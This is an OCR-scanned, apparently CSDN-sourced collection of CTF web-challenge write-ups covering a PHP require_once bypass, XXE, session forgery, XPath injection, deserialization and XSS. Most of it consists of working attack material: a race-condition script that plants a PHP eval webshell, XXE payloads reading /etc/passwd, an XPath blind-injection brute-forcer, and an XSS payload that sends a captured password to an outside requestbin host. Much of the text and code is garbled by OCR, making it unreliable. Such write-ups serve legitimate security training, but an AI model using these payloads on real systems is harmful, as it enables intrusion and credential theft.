Accept: texd/htrnl, application/xhtrnl+xml, application/xmlg=09.image/avif image/webp.*/*:q=0.8 Content-Type: text/htrl; charset=utf-3
Accept-language: =h-CMN,zh:q=08zh-TW;g=07.zh-HK:q=05en-US:q=03,en;q=02 Content-Length: 43

Connection: close Connection: close

Cookie: session=ey) 1c2VybrmFZ SIEIMZ 1Y 25if Q.Y giOnA. QCrmnlaW2zkR6sqgluGZmivin-al Vary: Cookie

Upgrade-Insecure-Requests: |
flag{e/815d8b-6afd-ddac-87/f9-664faa5ceaal)

CSDN @xiaolong22333

[WMCTF2020]Make PHP Great Again

<?php
highlight file(_ FILE_);
require_once 'flag.php';

if(isset($ _GET['file'])) {
require_once $_GET['file'];




JEFHA
F| Fsession.upload_progressit{Tsession 3 48 &

requests
threading

"http://a37c4dlb-de51-4bef-aba®-aadcb4a729ef.node4.buuoj.cn:81/"

'xiaolong'

def POST(session):
while True:
f = io.BytesIO(b'aaa')
session.post(
host,
data={"PHP_SESSION_UPLOAD_PROGRESS":"<?php fputs(fopen('shell.php','w"'), '<?php @eval($_POST[cmd])?>"
);echo system('cat flag.php');echo md5('1");?>"},
files={"file":('a.txt', )},
cookies={"'PHPSESSID':sessid}

def READ(session):
while True:

response = session.get(f'{host}?file=/tmp/sess_{sessid}")

# print(response.text)

if 'c4cad238a0b923820dcc509a6f75849b" not in response.text:
print('[+++]retry")

else:
print(response.text)
sys.exit(@)

with requests.session() as session:
= threading.Thread(target=POST, args=(session, ))
tl.daemon = True
tl.start()
READ(session)

[+++]retry

[+++]retry

<code><span style="color: ieeeeee”>

<span style="color: #0000BB">&1t; ?php<br />highlight file</span><span style="color: #8@7700">(</span><span style="color: #0080BB"> FILE _</span>q
an style="color: #007700">);<br />require once&nbsp;</span><span style="color: #DDe@ee">"flag.php’</span><span style="color: #807700">;<br />if(if
t(</span><span style="color: #800@BB">$ GET</span><span style="color: #8@7700">[</span><span style="color: #DD@@®e">'file"</span><span style="cold
#007700">]) )&nbsp; {<br />&nbsp;&nbsp;require oncefnbsp;</span><span style="color: #0000BB">$ GET</span><span style="color: #0807700">[</span><spa
tyle="color: #DD@@e@">'file'</span><span style="color: #887700">];<br />}<br /></span>

</span>

</code>upload progress_<?php

$flag = "flag{1233cc65-7545-45db-a651-47ef8bcd376a} " ;

$flag = "flag{1233cc65-7545-45db-a651-47ef8bcd376a} " ; cAcad238a0b923820dcc509a675849b | a:5: {5:10: "start time™;1:1644821975;5:14: "content length”;i
1;5:15: "bytes processed”;1:361;5:4:"done”;b:@;5:5:"files";a:1:{i:@;a:7:{s:10:"field name™;s:4:"file";s:4:"name”;s:5:"a.txt™;5:8: "tmp_name™;N;s:5:
ror”;i:@;s:4:"done”;b:@;s:10: "start time";i:1644821975;s5:15: "bytes processed™;1:361;}}} CSDN @xiaolong22333

DS - 8

D2 AWOIrK

require_once AREEEEE M, HIEMR;EST

PHP&#T kR 11/NTrick, require_oncefd & I8 4E B: E Bk Z ifonceffhashiL it & BB R BUE R ER G &
Iproc/selff& 7] 24 i #E A2 I /proc/pid/, /proc/selfiroot/R 18 [8)/fI 75 5 854
payload




?file=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/p
roc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/sel

f/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/
proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

phpiEiS 4 #T require_once Seit AN g8 B E A& SCHF HI R 1)
FREEREERE, SiEAREICE

&H —-payload

?file=php://filter/convert.base64-encode/resource=/nice/../../proc/self/cwd/flag.php

B, hBUERE, BRIMEN— ARSI FE KA 55w

[GoogleCTF2019 Quals]Bnv
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POST /api/search HTTF/1.1

Host: 110cf520-80eb-4a06-ad63-c2974e89a58e.noded buuoj.cn:8l

User-Agent: Mozilla/5.0 (Windows NT 10.0; Winid; x64; re97.0) Gecko/20100101 Firefox/97.0
Accept #/*

Accept-Language: zh-CM.zh;g=0.8zh-TW;q=0.7.zh-HK;q=0.5,en-U5:q=03en;g=0.2

| Content-type: application/jsan

Content-Length: 47

Origin: http://110cf520-80elb-4a06-ad63-c2974e89a58e. noded. buuaj.cn:8l

Connection: close

| Referer: http://110cf620-80ekb-4a06-ad63-c29742893582 noded buucj.cn:E1/

{"message”:"120101345012450101230125012350150")

CS5DN @xiaolong22333
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#igExml, ¥ Content-type BN application/xml

<?xml version="1.0"?>
< IDOCTYPE message [
<IENTITY b "123401012350240234">
<IENTITY % remote-dtd SYSTEM "https://asdfasd.free.beeceptor.com/">

%remote-dtd;
1>

<message>&b;</message>



https://www.anquanke.com/post/id/213235

POST /api/search HTTP/1.1 A HTTR/1.1 200 OK A
Host: 110cf620-80eb-4a06-ad63-c28974289a58e noded buuoj.cril i Server: openresty r
User-Agent: Mozilla/5.0 (Windeows MNT 10.0; Wined; «64; rv:97.0) Gecko/20100101 Firefox/97.0 Date: Ion, 14 Feb 2022 085158 GIT
Accept: F/F Content-Type: text/«xml; charset=utf-8
Accept-Language zh-CN.zhig=08zh-TW.q=07.zh-HK:q=05,en-US%;q=03en;g=0.2 Content-Length: 109
Content-type: application/ml Connection: close
Content-Length: 142
Origin: http://110cf520-80eb-4a06-ad63-c2974e8%a58e.noded buuoj.cn 8l ‘Welcorne! Qur center is located in 8 rue de Londres, 75005 Paris. Opening hours for this center is
Connection: cose 10:00-19:00
Referer: http://110cf520-80etb-4a06- ad63-c2974e89a58e noded buuej.cn:B1/
<l version="1.0"7>
<IDOCTYPE message [

<IELEMENT message (#PCDATA) >

<IENTITY b "123401012350240234" >
1=
<message> &b < /message>

.50 22338

FAR AN P9 AR SO

<?xml version="1.0":

< !DOCTYPE message [
<IENTITY % remote-dtd SYSTEM "file:///etc/passwd">
%remote-dtd;

1>

POST fapi/search HTTP/1.1 A HTTP/1.1 200 OK A
Host: 110cf820-80eb-4a06-ad63-c2974e8% 582 noded buugj.cn:81 1 Server. openresty 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; \Wingd: «64; r:97.0) Gecko,/20100101 Firefox/97.0 Date: Maon, 14 Feb 2022 08:55:58 GMT

Accept =/F Content-Type: text/xml; charset=utf-8

Accept-Language: zh-Ch.zh;q=08=zh-TW.q=07 zh-HK:q=05.en-US,q=03,en.q=0.2 Content-Length: 95

Cortent-type: application/«ml Connection: dose

Content-Length: 120

Origin: http://110cf620-80eb-4206- adb3-c2974e89a58e noded buuoj.en:81 internal error: xrmlParselnternalSubset: error detected in Markup declaration

Connection: close Line 1, colurmn 1

Referer: http://110cf620-80eb-4a06-ad63-c2974e89a58e noded buug).cn:8l/

<%l version="1.0"7>

<!DOCTYPE message [
<IENTITY % rernote-citd SYSTEM “file:
Seremote-dtdl;

e
al)
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What can we do with internal DTD?

To use external DTD syntax in the internal DTD subset, you can bruteforce a local dtd file
on the target host and redefine some parameter-entity references inside it:

Request Response
<?xml version="1.8" ?> java.io.FileNotFoundException: /nonexistent/
<!DOCTYPE message [ root:x:0:0:root:/root:/bin/bash
<!ENTITY % local_dtd SYSTEM bin:x:1:1:bin:/bin:/usr/bin/nologin
"file:///opt/IBM/WebSphere/AppServer/properties/sip-app_1_@.dtd"> daemon:x:2:2:daemon:/:/usr/bin/nologin
<IENTITY % condition 'aaa)> (No such file or directory)

<IENTITY &#x25; file SYSTEM "file:///etc/passwd">

<IENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM
&#x27;file:///nonexistent/8&#x25;file;&#x27;>">

&#x25;eval;

&#x25;error;

<|ELEMENT aa (bb'>

%local_dtd;
1>

<message>any text</message> CSDN @xiaolong22333

RSSO SERAMKDTD I, XA —A 4 NISOamsafi Lk, B AFRATAT LA A E R 5 DTDAAS

How can we find a local dtd file?

Nothing is easier than enumerating files and directories. Below are a few more examples
of successful applications of this trick:

Custom Linux System

<IENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<lENTITY % ISOamsa 'Your DTD code'>
%local_dtd;

<?xml version="1.0"?>
< IDOCTYPE message[
<IENTITY % local dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<IENTITY % ISOamso '
<IENTITY &#x25; file SYSTEM "file:///flag">
<IENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///aaaaa/&#x25;file;&#tx27;>">

&#x25;eval;

&#x25;error;

">
%local dtd;
1>




POST fapi/search HTTP/1.1 A HTTPR/1.1 200 OK
Host: 110cf620-80eb-4206-ad63-c2974289a56e noded.buuaj.cn:Bl 1 Server: openresty
User-Agent: Mozilla/5.0 (Windows NT 10.0; Winb; x64; rv:07.0) Gecko/20100101 Firefox/97.0 Date: IMon, 14 Feb 2022 09:01:30 GMT L]
Accept: #/F Content-Type: texdt/xml; charset=utf-8
Accept-Language: zh-Ch,zh;q=08zh-TW.q=07.zh-HkK.g=05.en-U5:q=03.en,q=0.2 Content-Length: 88

Content-type: application ml Connecion: close

Content-Length: 350 7
0| Origin: http://110cf620-80eb-4a06-ad63-c2974e89a58e.noded buuaj.cn:dl Invalid URL: file:///aaaaa/flagibbB930eb-albld-4f95-6f2c-3205e862bc17], line 4, colurnn 11
Connection: dose

Referer: http:// 110cf620-80eb-4206- ad63-c2974e89a56e noded.buuoj.cn:B1/

Y

<7l version="1.0"7x
3| <!DOCTVPE message[
<IENTITY % local_dtd SYSTERM "file)///usr/share/yelp/dtd /docboole.dtd” »
<IENTITY % ISOamso '
<IENTITY &#x25; file SYSTEM “file//,

x#x25; error SYSTEM

Slocal_dtd;

e

ERITERL, A5 ASMDTO M, HEEERESHSLE, X8R Lk

<?xml version="1.0"?>
< !DOCTYPE message [
<!ELEMENT message ANY>
<IENTITY % paral SYSTEM "file:///flag">
<IENTITY % para '
<IENTITY &#x25; para2 "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///&#x25;paral;&#x27;>">
&#x25;para2;

>
%para;

_ L 1 1 1 1 _ L

POST /api/search HTTP/1.1 A HTTP/1.1 200 OK

Host: 110cf620-80eb-4a06-ad63-c2974289a582 noded buuaj.cn:81 r Server: openresty

User-Agent: Mozilla/5.0 (Windows NT 10.0; 'Winbd; x6d; r97.0) Gecka/20100101 Firefo:x/97.0 Date: Ion, 14 Feb 2022 08:49.35 GMT

Accept: %, Content-Type: text/xml; charset=utf-8

Accept-Language: zh-Ch.zh:q=0.8zh-TW.gq=07.zh-HkK:q=05.en-Us.q=0.3.en:g=02 Content-Length: 82

Content-type: application/=ml Connection: close

Content-Length: 286

Origin: http// 110cf520-80eb-4a06-ad63-c2974e89a58e noded buuoj.cn:81 Invvalid URL: file:///flag{bb8930eb-ak1d-4f95-8f2¢c-3205e862bc17), line 3, colurmn 16

Connection: close
Referer: http://110cf620-80eb-4a06- ad63-c2974e89a58e noded buuoj.cn:81/

<%l version="1.0"7>
<IDOCTYPE message [
<!ELEMENT rmessage ANY =
<IENTITY % paral SYSTEM “filer///flag”=
<IEMNTITY % para '
<IENTITY &#x25; parad "<IENTITY &#x26:#x25; error SYSTEM &#x27fil
&#x25paral;

&#x25;paral,&#x27;»" >

Sopara;

IE

IFEAT B =t
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https://blog.csdn.net/weixin_46081055/article/details/122875426?spm=1001.2101.3001.6650.7&utm_medium=distribute.pc_relevant.none-task-blog-2~default~OPENSEARCH~Rate-7.pc_relevant_default&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2~default~OPENSEARCH~Rate-7.pc_relevant_default&utm_relevant_index=11
https://syunaht.com/p/1267717976.html
https://mohemiv.com/tags/xxe/
https://www.freebuf.com/vuls/207639.html

[HFCTF2020]1BabyUpload

<?php
error_reporting(9);
session_save_path("/var/babyctf/");
session_start();
require_once "/flag";
highlight file(__ FILE_);
if($_SESSION[ ‘username'] ==='admin')
{
$filename="/var/babyctf/success.txt';
if(file_exists($filename)){
safe_delete($filename);
die($flag);

}
else{
$ SESSION[ 'username'] ='guest';
}
$direction = filter_input(INPUT_POST, ‘'direction');
$attr = filter input(INPUT_POST, 'attr');
$dir_path = "/var/babyctf/".$attr;
if($attr==="private"){
$dir_path .= "/".$ SESSION[ 'username'];
¥
if($direction === "upload"){
try{
if(!is_uploaded file($ FILES['up_file']['tmp_name'])){
throw new RuntimeException('invalid upload');
¥
$file path = $dir_path."/".$ FILES['up_file']['name'];
$file path .= " ".hash file("sha256",$ FILES['up_file']['tmp_name']);
if(preg_match('/(\.\.\/|\.\.\\\\)/', $Ffile path)){
throw new RuntimeException('invalid file path');
¥
@mkdir($dir path, 0700, TRUE);
if(move _uploaded file($ FILES['up file']['tmp_name'],$file path)){
$upload result = "uploaded";
}else{
throw new RuntimeException('error while saving');
b
} catch (RuntimeException $e) {
$upload_result = $e->getMessage();
b
} elseif ($direction === "download") {
try{
$filename = basename(filter input(INPUT_POST, 'filename'));
$file path = $dir_path."/".$filename;
if(preg_match('/(\.\.\/I\.\.\\\\)/", $file_path)){
throw new RuntimeException('invalid file path');
¥
if(!file exists($file path)) {
throw new RuntimeException('file not exist');
¥
header('Content-Type: application/force-download');
header('Content-Length: '.filesize($file_path));

header('Content-Disposition: attachment; filename="'.substr($filename, @, -65)."'""');

if(readfile($file_path)){
$download_result = "downloaded";




throw new RuntimeException('error while saving');

}

} catch (RuntimeException $e) {

$download_result = $e->getMessage();

}

exit;

B AR Esessionthit

PHPfsessionC#£/ sess_ + PHPSESSID , 3l H F & ¥session ALK _ EHEE SR T AN ERBAE, HtEsS
- fEsessionf) 5 & ZE PG CAF B A sess

B 45 E FsessionE A

direction=download&attr=&filename=sess_3ded3e49f1a96181ed15fc6b523848a9

POST / HTTP/11

Host: TabdB8325-a6al-4adc-a10b-557dcbi beb0lnoded buunj.cn:gl L !

User-Agent: Mozilla/5.0 (Windows NT 10.0; Wingd,; x64: r97.0) #007700"=)_</span> <span style="color: #DD0000"= """ < /span = <span style="color: #007700">); <br

Accept text/htrl application/«htrl+=ml.application/xml;q=0.9image/avi A =0. /> &nbspr&nbsp; &nbsp; &nbsp; &nbsp: &nbsp: &nbsp; &nbsprif(< /span= <span style="color

Accept-Language: zh-CM.zhig=08zh-TW.q=07.zh-HK.g=05.en-Us;q=03.en;q=0.2 #0000BB" > readfile</span> <span style="color: #007700" > (< /span> <span style="color:

Connection: close #0000BB" > $file_path < /span= <span style="color; #007700"=)){<br

Cookie: PHPSESSID=3ded3ed9f1a9618led 15fcbb5 2384829 /> &nbsp;&nbsp; &nbsp; &nbsp: &nbsp; &nbsp; &nbsp; &nbsp: &nbsp; &nbsp; &nbsp: &nbsp:
< /span> <span style="color: #0000BB"> $download_result&nbsp; < /span> <span style="color:

v-form-urlencoded #007700" > =&nbsp; <
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0000BB" > 65 < /span > <span style="color

Upgrade-Insecure-Requests. |

Content-Type: application,x-w. /span> <span style="color: #DD0000" > "downloaded" < /span > < 5pan
Content-Length: 71 style="color: #007700"=; <br

/= &nbspr&nbsp; &nbsp; &nbsp: &nbsp: &nbsp: &nbsp; &nbsp; el se{ < br
direction=download&attr=E&filenarme=sess_3ded3ed9f1a9618led15fcbb523848a9 /> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;t

hrow&nbsp; new&nbsp; < /span = <span style="color:

#0D00BB" > RuntimeException < /span= <span style="color: #007700"> (< /span= <span style="color:
#DD0000" > "error&nbsp;while&nbsp; saving' < /span > <span style="color #007700">); <br

/= &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp: &nbsp; ] < br

/> &nbspr&nbsp; &nbsp; &nbsp; |&nbsp; catch&nbsp; (< /span < span style="color:

#0000EE" > RuntimebException&nbsp:$e< /span = < span style="color: #007700" = )&nlbsp; {< br
/> &nbsp&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; </span > < span style="color:
#0000BB" > $download_result&nlbsy; < /span > <span style="color:

#O07700" > =&nbsp; </span <span st "color: #0000BB" > $e < /span= <span style="color:
#O0TT00"> - &gt; < /span > < span style="color: #0000BE" > getMessage < /span> <span style="color:
#007700"=Q; <bor /> &nbsp; &nbsp; &nbsp; &nbsp;] < br

/> &nbspr&nbsp; &nbsp;&nbsprexit; <br /> ) <br /> < /span: <span style="color:

#0000BB" > ?&gt; <bor /> </span>

</span>

</code>Dusernames:S:"guest”;|

b
v

[ﬂ bJ [;J [iJ Type a search term 0 matches 21| 2|+ || = | Tvpeasearchterm ¢SO

HEiAguest, ERIEE —AMNAT WER, Ui sessionfI 7751 %4 php_binary

WIREZER =higtast

php W B BT serialize() FRAEIEIILAMERIE
php_binary BAENHCEXTNA ASCH FFF + T8 + BT serialize() HREFFIWIENE
php_serialize i serialize()REFFI{LAMENEILE X

CSDN @xiaolong223%
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<?php

session_save_path("D:\\work\\php\\");
ini_set('session.serialize handler', 'php_binary');
session_start();

$_SESSION[ '‘username'] = 'admin';



\\work\\php\\

import requests

ss_6agiugo5bbmk2ijedlt4t79mat")

"http://78cea709-517a-4d3e-8cb6-04f0e96135bf.noded.buuoj.cn:81"

'direction': 'upload’,
‘attr'’
}
file = {'up_file':open('D:\\work\\php\\sess','r')}
requests.post(url=url,data=data,files=file)
print(r.text)
B'E T
POST / HTTR/11 & #007700">,&nlosp; < /span = <span sty D00BE" > 0</span= <span style="color:
Host: T8ceay 09-517 a-4d3e-8cbb- 04f0e961351f noded buuoj.cni:B1 i #007700">, &nbsp;- < /span: < span sty 0000BB"»©65 < /span = <span style="color:
User-Agent: Wozilla/5.0 (Nindows NT 10.0; Winsd; 64 r97.0) Gecko/ 20100101 Firefox/97.0 #007700"=).</span> <span style="cclor: #DD0000" > """ < /span > <span style="color; #007700"); <
Accept: text/htrml, application/xhtrnl+xml, applicationml:q=0.9image/avif.image/webp */*q=08 /= &nbsp; &nbsp: &nbsp; &nbsp: &nbsp; &nbsp: &nbsp; &nbsp:if (< /span > < span style="calor:
Accept-language zh-CMN,zh:q=08zh-T\W.q=07.zh-HK:q=05.en-US:q=03,en;q=02 #0000BE" » readfile< /span> <span style="color: #007700"= (< /span> <span style="color
Connection: close #0000BE" » $file_path < /span= <span style="color: #007700" > ) {<lr
Cookie: PHPSESSID=d4e7 287 eceS4bfSelceabfl939eaadd /> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp: &nbsp; &nbsp: &nbsp;
Upgrade-Insecure-Requests: | «/span = <span style="color: #0000BE" » §download_result&nbsp; < /span> <span style="color
Cache-Control: max-age=0 #007700" > =&nbsp; < /span> <span style="color: #000000" > "downloaded" = /span> <span
Content-Type: application/=-www-form-urlencoded style="color: #007700">;<br
Content-Length: 103 /= &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Jelse{<br
/> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp: &nbsp; &nbsp: &nbsp; &nbsp: &nbsp; &nbsp: &nbspit
direction=download&attr=&filename=sess_432b8b09%30c4a759860719d1312b63a69f 1833 ab602 cBad hrow&nbsp; new&nbsp; < /span> < span style="color:
5f0299¢1d76a5a4 #0000BE" > RuntirmeException < /span> <span style="color: #007700"> (</span> <span style="color:
#DDO0000" > "error&nbspwhile&nbsp; saving' = /span > <span style="color: #007700">); < br
/= &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;] < br
/> &nbsp; &nbsp; &nbsp; &nbsp; | &nbsp; catch&nlbsp; (< /span> < span style="color:
#0000BB" > RuntimeException&nbsp;$e< /span> <span style="color: #007700" > )&nlbsp;{<br
/> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; < /span = <span style="color:
#0000BE" > $download_result&nbsp; < /span> < span style="calor
#007700" > =&nbspp; < /span = <span style="color: #0000BB" > §e« /span < span style="color:
#007700"> -&gt; </span > <span style="color: #0000EE" > getMessage</span> <span style="color:
#FO0T700"=(; < br /> &nbsp; &nbsp; &nbsp: &nbsp; ] <br
/> Bnbsp; &nbsp; &nbsp; &nbsp; exit; < br /> )<br /> </span> <span style="color
#0000BE" » ?&qgt; <bor /> < /span>
</span=
</code> Ousernames:S:"admin”;
v
[iJ [ij u u Type a search term 0 matches w uJ u [LJ Type a search term 0 match
CsSD olong22333
Nnne NA3 hutes | 79 mi

BT RIETRH R file_exists($filename) 7 Fef5 Elflag
MEXHREREEFE
BERARAIE M, ERFUESatrSHAI# H

file _exists()

import requests

"http://78cea709-517a-4d3e-8cb6-0410e96135bf.node4.buuoj.cn:81"

{
'direction’
‘attr’
‘attr’

‘upload’,

'success.txt’

)
file =
requests.post(url=

{'up_file':open('D:\\work\\php\\sess','r')}

1,data=data,files=file)

print(r.text)

BJE—¥, KPHPSESSIDHBUNA LIS A1E




— L L L

import requests

— L 1 !
POST / HTTP/11 A
Host: 7T8cea709-517 a-4d3e-Bcbb- 04f0e961350f noded buuj.cn:8l r
User-Agent: Moxzilla/5.0 (Windows NT 10.0, Winsd, x64, r.97.0) Gecko/ 20100101 Firefox/97.0
Accept: tet/htrl. application/xhtml+xml.application<ml; favi
Accept-language zh-Ch.zh;q=08zh-TW:q=07,zh-HK:g=05.en-US;q=03.en;q=02
Connection: close
Cookie: PHPSESSID=432b8b0%30c4a7598607 19d 1312b63a65f10833abE02 c9ad5f0299d1d7 6a5a4
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 114
direction=download&attr=success btlfilename=sess_432b8b09e30c4a75986b719d 1312163269 108334
b602c9ad5f0299¢d 1d76a5a4
e
v
? < + > | |Type a search term 0 matches
Nnne
exp

#0000BB" > 0= /span > <span style="color: 4
i 000BB" > 85 < /span > <span style="color: r
# 00"'"00"») < /span> «spm style=" co\cr #DD0000">"" < fspan > < span style="color: #007700" >); <br
/> &nbsp:&nbsp: &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsprif (< /span > <span style="color
#0000BE" > readfile«/span= <span style="color: #007700">{</span > <span style="color
000BB" = $file_path < /span = <span style="color: #007700"=))}{<br
&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp: &nbsp; &nbsp; &nbsp: &nbsp; &nbsp;
‘span> <span style="color: #0000BB" » $download_result&nbsp; < /span > < span style="color:
700" > =&nbsp; < /span > <span style="color: #0DD0000" > "downloaded" < /span> <span
e="color: #007700">;<br
&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp: &nbsp: &nbsp; Jelsef < br
&nbsp;&nbsp; &nbsp; &nbsp; &nbsp &nbsp: &nbsp: &nbsp; &nbsp; &nbsp; &nbsp; &nbsprt
hrow&nbsp new&nbsp; </span> <span style="color:
#0000BE" > RuntimeException < /span> < span style="color: #007700" = (< /span> <span style="color:
#0D0000" =" error&nbspywhile&nbsp;saving' < /span = <span style="color: #007700">); <br
/= &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp: &nbsp; ] <br
/> &nbsp;&nbsp; &nbsp; &nbsp; | &nbsp; catch&nbsp; (< /span > <span style="color:
#0000BE" » RuntimeException&nbsp; $e< /span> < span style="color: #007700" > )&nlosp; {< bbr
&nbsp;&nbsp; &nbsp; &nbsp; &nbsp &nbsp; &nbsp; &nbsp; < /span > <span style="color:
000BB" > $download_result&nbsp; </span: <span style="color:
700" > =8nbsp; < /span > <span style="color; #0000BE" > $e</span > < span style="color:
07700" > -&gt; < /span> <span style="color: #0000BB" > getMessage«/span> < span style="color:
700" (Q; <br /> &nbsp;&nbsp; &nbsp; &nbsp; ] < br
/> &nbsp;&nbsp; &nbspr&nbsp;exit; <br /»]<br /> < /span= <span style="color:
#0000BE" » 2&gt; <bor /> </span>
</span>
< .-'code>|‘|ag{SOlng?d—Bedc—debG— b6d3-40c830f53ceb]
K
0 malc he S

7| < + > | | Type a search term

e ()

‘http://78cea709-517a-4d3e-8cb6-04f0e96135bf.node4.buuoj.cn:81"

‘upload’,
success.txt'
{'up_file':open('D:\\work\\php\\sess', 'r')}
requests.post(url=url,data=data,files=file)

{'PHPSESSID

= requests.post(url=url, cookies=cookie)

print(result.text)

[NPUCTF2020]ezlogin
xpathiE N, PLETER—HE L Axpathi: N5t 2 sqlif s

XPATHEANZS]
XPath 7 E A8k
K FsqliEN,

RAAEEA 1, HIERNEAxmIF N E

'432b8b09e30c4a75986b719d1312b63a69f1b833ab602c9ad5+f0299d1d76a5a4 " }

EAN, RREET

‘Id 104 hu‘l::cz | P.R mllh:



https://xz.aliyun.com/t/7791
https://www.tr0y.wang/2019/05/11/XPath%25E6%25B3%25A8%25E5%2585%25A5%25E6%258C%2587%25E5%258C%2597/

import requests

import string

import time

import re

session = requests.session()

base _url = 'http://9dell3aa-1657-4e6c-ad@7-ba57a6618251.node4.buuoj.cn:81/"

1

= "' or substring({target},{index},1)="'{char}' or ""

string.ascii_letters+string.digits

def get_csrf():
res = session.get(base_url, headers={'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/31.0.1650.57 Safari/537.36',
'Cookie': 'PHPSESSID=8ad6cla25ba4ac37acaf92d08f6dc993'}).text
return re.findall('<input.*value="(.*?)"./>"', res)[0]

target = 'string(/*[1]1/*[1]/*[2]/*[3])"

# username admln

# password cf7414b5bdb2e65ee43083f4ddbc4dof

data = '<username>{username}</username><password>1</password><token>{token}</token>"

'cf7414b5bdb2e65ee43"
= {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.5
7 Safari/537.36',
'Content-Type': 'application/xml’,
'Cookie': 'PHPSESSID=8ad6cla25badac37acaf92de8f6dc993"'}
for i in range(20, 35):
for j in chars:
time.sleep(0.2)
temp_payload = payload.format(target=target, index=str(i), char=j)

token = get_csrf()

temp_data = data.format(username=temp_payload, token=token)
res = session.post(url=base_url+'login.php’,
data=temp_data, headers=headers)
# print(temp_data)
# print(res.text)
# print(len(res.text))
print(temp_data)
if len(res.text) ==
result += j
break
print(result)

B %jadm1n, gtfly123
% i Ja D T K /N B Beid ik flag

[#% % KBk ik 2020]Greatphp




<?php

error_reporting(0);

class SYCLOVER {
public $syc;
public $lover;

public function _ wakeup(){
if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (shal($this->syc)=== shal
($this->lover)) ){
if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
eval($this->syc);
} else {
die("Try Hard !!");

if (isset($_GET['great'])){
unserialize($ _GET['great']);
} else {
highlight file(_ FILE_);

EZBPHP R4 R
A BE B Errord

Error§H 7 __ tostring /7%, md5()Hishat()ek$iER <A __ tostring()

<?php
= new Error(“"payload”,1);
= new Error(“"payload”,2);
echo $a;
echo "<br>";
echo $b;
echo "<br>";

if($a != $b)

echo "<br>";
if(md5(%$a) === md5($b))

{
echo "md5#H&"."<br>";

b
if(shal($a)=== shal($b)){
echo "shalff%";

EHRAMR T THERAT, BRABAT, REKKKIBAT, RAEREBEBT. . .

BEEWEERITHIES, B include "/flag" , BUxGEid1EN

/flag BUR J5 urlmBS Ay %De%99%93%9E%98

(fEinclude A¥EiX B, include “/flag"# i, include /MflagA 4T, include~urldecode("%D0%99%93%9E %98" )%t I /&, ik 2 i
XHESAFEIISEE)




<?php

class SYCLOVER {
public $syc;
public $lover;

$str = "?><?=include ~".urldecode("%D0%99%93%9E%98").";?>";
new Error($str,1);$b = new Error($str,2);
new SYCLOVER();
syc = %$a;
lover = $b;

urlencode(serialize($p));

REGAAENRE, WRERXE

$p-> syc = new Error($str,1);

$p-> lover = new Error($str,2);

ZRERAFA! FEEREBRE T AR A

[GWCTF 2019]mypassword

Elogin.jsH

if (document.cookie && document.cookie != '') {

var cookies = document.cookie.split('; ');

var cookie = {};

for (var 1 = @; 1 < cookies.length; i++) {
var arr = cookies[i].split('=");
var key = arr[0];
cookie[key] = arr[1];

¥

if(typeof(cookie['user']) != "undefined" && typeof(cookie['psw']) != "undefined"){
document.getElementsByName("username")[0].value = cookie['user'];
document.getElementsByName("password")[@0].value = cookie[ 'psw'];
b

)i

BFIESEREH P 2 ME
VM B FHE, fEfeedback W &K IS

if(is_array($feedback)){
echo "<scriptsalert(' RIEAEGE");</script>";
return false;
¥
$blacklist = [' ', "\""',"&","\\', "#','%"', "input', 'script', "iframe', 'host', 'onload’, 'onerror', 'srcdoc', 'location’,
'svg', 'form', 'img', 'src', 'getElement', 'document', 'cookie'];
foreach ($blacklist as $val) {
while(true){
if(stripos($feedback,$val) !== false){
$feedback = str_ireplace($val,"",$feedback);
}else{

break;




R BARBENZERESRAT, WESEEA]
R B R 2 i exp, botsdi G ¥ password Kikid >k, BARKIZBIWEE, #i2 T XA

http://http.requestbin.buuoj.cn

exp

<incookieput type="text" name="username">

<incookieput type="password" name="password">
<scrcookieipt scookierc="./js/login.js"></scrcookieipt>
<scrcookieipt>

var psw = docucookiement.getcookieElementsByName("password")[0@].value;

docucookiement.locacookietion="http://http.requestbin.buuoj.cn/166vfjql/?psw="+psw;

</scrcookieipt>

s @ HTTPBIn @ DNSBin

http://http.requestbin.buuoj.cn 34sago %
GET /166vijq1/ & 0 bytes From 10.128.0
Neone Accept-Language: en,”

Accept-Encoding: gzip, deflate
Connection: close
psw: flag{de7c63e6-154e-4728-abb5-018f546378bS} Accept: text/html application/xhtml+xml application/xml;q=0.9,"/*;,q=0.8
User-Agent: Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/538.1 (KHTML, like Gecko) PhantomJS/2.1.1 Safari/538.1
Host: http.requestbin.buuoj.cn
